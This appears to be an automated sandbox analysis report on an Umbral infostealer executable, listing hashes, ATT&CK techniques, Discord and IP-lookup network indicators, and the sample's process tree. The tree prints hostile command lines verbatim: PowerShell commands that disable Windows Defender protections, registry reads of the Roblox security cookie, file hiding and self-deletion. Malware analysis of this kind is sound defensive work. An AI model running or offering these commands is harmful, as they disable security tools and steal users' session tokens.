umbral | 330257ac72a4b7cb8d45cbb4d5f888bc6c69f139e7b0edf1cb64f2c733d846f7

Analysis

max time kernel
16s
max time network
16s
platform
windows7_x64
resource
win7-20240419-en
resource tags

arch:x64arch:x86image:win7-20240419-enlocale:en-usos:windows7-x64system
submitted
26-05-2024 17:31

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General

Target

release5102024.exe
Size

234KB
MD5

0e686473973693d296760e2c8ea19dd8
SHA1

80bf5c75bebb592eb88322c3a4dda1f056b33b69
SHA256

330257ac72a4b7cb8d45cbb4d5f888bc6c69f139e7b0edf1cb64f2c733d846f7
SHA512

c06039e42a95c8ca0ec7fc8bfa5ac002208ffe69d49f7379ab272772496a1c08e165b7220748df52233ef7187c2204ecf2eecaa9a7aceeabd3b29bc32fe84e0f
SSDEEP

6144:XloZM+rIkd8g+EtXHkv/iD43WZwEbhS6FvAxDeebyAb8e1m9ii4:1oZtL+EP83WZwEbhS6FvAxDeeb7m

Score

10^/10

umbral execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/2176-1-0x00000000003E0000-0x0000000000420000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2860	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	release5102024.exe

Deletes itself 1 IoCs

pid	Process
2156	cmd.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
9	discord.com
10	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
888	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
620	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2176	release5102024.exe
2860	powershell.exe
2624	powershell.exe
2528	powershell.exe
284	powershell.exe
1780	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2176	release5102024.exe
Token: SeIncreaseQuotaPrivilege	2776	wmic.exe
Token: SeSecurityPrivilege	2776	wmic.exe
Token: SeTakeOwnershipPrivilege	2776	wmic.exe
Token: SeLoadDriverPrivilege	2776	wmic.exe
Token: SeSystemProfilePrivilege	2776	wmic.exe
Token: SeSystemtimePrivilege	2776	wmic.exe
Token: SeProfSingleProcessPrivilege	2776	wmic.exe
Token: SeIncBasePriorityPrivilege	2776	wmic.exe
Token: SeCreatePagefilePrivilege	2776	wmic.exe
Token: SeBackupPrivilege	2776	wmic.exe
Token: SeRestorePrivilege	2776	wmic.exe
Token: SeShutdownPrivilege	2776	wmic.exe
Token: SeDebugPrivilege	2776	wmic.exe
Token: SeSystemEnvironmentPrivilege	2776	wmic.exe
Token: SeRemoteShutdownPrivilege	2776	wmic.exe
Token: SeUndockPrivilege	2776	wmic.exe
Token: SeManageVolumePrivilege	2776	wmic.exe
Token: 33	2776	wmic.exe
Token: 34	2776	wmic.exe
Token: 35	2776	wmic.exe
Token: SeIncreaseQuotaPrivilege	2776	wmic.exe
Token: SeSecurityPrivilege	2776	wmic.exe
Token: SeTakeOwnershipPrivilege	2776	wmic.exe
Token: SeLoadDriverPrivilege	2776	wmic.exe
Token: SeSystemProfilePrivilege	2776	wmic.exe
Token: SeSystemtimePrivilege	2776	wmic.exe
Token: SeProfSingleProcessPrivilege	2776	wmic.exe
Token: SeIncBasePriorityPrivilege	2776	wmic.exe
Token: SeCreatePagefilePrivilege	2776	wmic.exe
Token: SeBackupPrivilege	2776	wmic.exe
Token: SeRestorePrivilege	2776	wmic.exe
Token: SeShutdownPrivilege	2776	wmic.exe
Token: SeDebugPrivilege	2776	wmic.exe
Token: SeSystemEnvironmentPrivilege	2776	wmic.exe
Token: SeRemoteShutdownPrivilege	2776	wmic.exe
Token: SeUndockPrivilege	2776	wmic.exe
Token: SeManageVolumePrivilege	2776	wmic.exe
Token: 33	2776	wmic.exe
Token: 34	2776	wmic.exe
Token: 35	2776	wmic.exe
Token: SeDebugPrivilege	2860	powershell.exe
Token: SeDebugPrivilege	2624	powershell.exe
Token: SeDebugPrivilege	2528	powershell.exe
Token: SeDebugPrivilege	284	powershell.exe
Token: SeIncreaseQuotaPrivilege	2020	wmic.exe
Token: SeSecurityPrivilege	2020	wmic.exe
Token: SeTakeOwnershipPrivilege	2020	wmic.exe
Token: SeLoadDriverPrivilege	2020	wmic.exe
Token: SeSystemProfilePrivilege	2020	wmic.exe
Token: SeSystemtimePrivilege	2020	wmic.exe
Token: SeProfSingleProcessPrivilege	2020	wmic.exe
Token: SeIncBasePriorityPrivilege	2020	wmic.exe
Token: SeCreatePagefilePrivilege	2020	wmic.exe
Token: SeBackupPrivilege	2020	wmic.exe
Token: SeRestorePrivilege	2020	wmic.exe
Token: SeShutdownPrivilege	2020	wmic.exe
Token: SeDebugPrivilege	2020	wmic.exe
Token: SeSystemEnvironmentPrivilege	2020	wmic.exe
Token: SeRemoteShutdownPrivilege	2020	wmic.exe
Token: SeUndockPrivilege	2020	wmic.exe
Token: SeManageVolumePrivilege	2020	wmic.exe
Token: 33	2020	wmic.exe
Token: 34	2020	wmic.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 2176 wrote to memory of 2776	2176	release5102024.exe	28
PID 2176 wrote to memory of 2776	2176	release5102024.exe	28
PID 2176 wrote to memory of 2776	2176	release5102024.exe	28
PID 2176 wrote to memory of 2732	2176	release5102024.exe	31
PID 2176 wrote to memory of 2732	2176	release5102024.exe	31
PID 2176 wrote to memory of 2732	2176	release5102024.exe	31
PID 2176 wrote to memory of 2860	2176	release5102024.exe	33
PID 2176 wrote to memory of 2860	2176	release5102024.exe	33
PID 2176 wrote to memory of 2860	2176	release5102024.exe	33
PID 2176 wrote to memory of 2624	2176	release5102024.exe	35
PID 2176 wrote to memory of 2624	2176	release5102024.exe	35
PID 2176 wrote to memory of 2624	2176	release5102024.exe	35
PID 2176 wrote to memory of 2528	2176	release5102024.exe	37
PID 2176 wrote to memory of 2528	2176	release5102024.exe	37
PID 2176 wrote to memory of 2528	2176	release5102024.exe	37
PID 2176 wrote to memory of 284	2176	release5102024.exe	39
PID 2176 wrote to memory of 284	2176	release5102024.exe	39
PID 2176 wrote to memory of 284	2176	release5102024.exe	39
PID 2176 wrote to memory of 2020	2176	release5102024.exe	41
PID 2176 wrote to memory of 2020	2176	release5102024.exe	41
PID 2176 wrote to memory of 2020	2176	release5102024.exe	41
PID 2176 wrote to memory of 1584	2176	release5102024.exe	43
PID 2176 wrote to memory of 1584	2176	release5102024.exe	43
PID 2176 wrote to memory of 1584	2176	release5102024.exe	43
PID 2176 wrote to memory of 2000	2176	release5102024.exe	45
PID 2176 wrote to memory of 2000	2176	release5102024.exe	45
PID 2176 wrote to memory of 2000	2176	release5102024.exe	45
PID 2176 wrote to memory of 1780	2176	release5102024.exe	47
PID 2176 wrote to memory of 1780	2176	release5102024.exe	47
PID 2176 wrote to memory of 1780	2176	release5102024.exe	47
PID 2176 wrote to memory of 888	2176	release5102024.exe	49
PID 2176 wrote to memory of 888	2176	release5102024.exe	49
PID 2176 wrote to memory of 888	2176	release5102024.exe	49
PID 2176 wrote to memory of 2156	2176	release5102024.exe	51
PID 2176 wrote to memory of 2156	2176	release5102024.exe	51
PID 2176 wrote to memory of 2156	2176	release5102024.exe	51
PID 2156 wrote to memory of 620	2156	cmd.exe	53
PID 2156 wrote to memory of 620	2156	cmd.exe	53
PID 2156 wrote to memory of 620	2156	cmd.exe	53

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2732	attrib.exe

C:\Users\Admin\AppData\Local\Temp\release5102024.exe
"C:\Users\Admin\AppData\Local\Temp\release5102024.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2176
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2776
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\release5102024.exe"
  2⤵
  - Views/modifies file attributes
  PID:2732
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\release5102024.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2860
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2624
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2528
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:284
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2020
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:1584
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:2000
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1780
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:888
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\release5102024.exe" && pause
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2156
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - Runs ping.exe
    PID:620

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
33ca05928949eec905d0e2f25151c9c3

SHA1
b4561dd4ace1a093a22476deb947cf0a844eb818

SHA256
b327daba3757c0a7bd6b31a1d5a6292cf069774fcaba4398107c2c9a72da6957

SHA512
e68d72d5242ddc3fc6332c409c4b7a3e07b6ea2f15d739cc2681bb39b9e225ab0191760df1a084d46ffd6e8086d12f9263427391bec3a56bd2e398987eefdf7b

Download Submit
memory/1780-43-0x0000000001E70000-0x0000000001E78000-memory.dmp

Filesize
32KB

Download
memory/2176-0-0x000007FEF5713000-0x000007FEF5714000-memory.dmp

Filesize
4KB

Download
memory/2176-1-0x00000000003E0000-0x0000000000420000-memory.dmp

Filesize
256KB

Download
memory/2176-2-0x000007FEF5710000-0x000007FEF60FC000-memory.dmp

Filesize
9.9MB

Download
memory/2176-47-0x000007FEF5710000-0x000007FEF60FC000-memory.dmp

Filesize
9.9MB

Download
memory/2624-14-0x000000001B580000-0x000000001B862000-memory.dmp

Filesize
2.9MB

Download
memory/2624-15-0x00000000028F0000-0x00000000028F8000-memory.dmp

Filesize
32KB

Download
memory/2860-7-0x000000001B7E0000-0x000000001BAC2000-memory.dmp

Filesize
2.9MB

Download
memory/2860-8-0x0000000001EF0000-0x0000000001EF8000-memory.dmp

Filesize
32KB

Download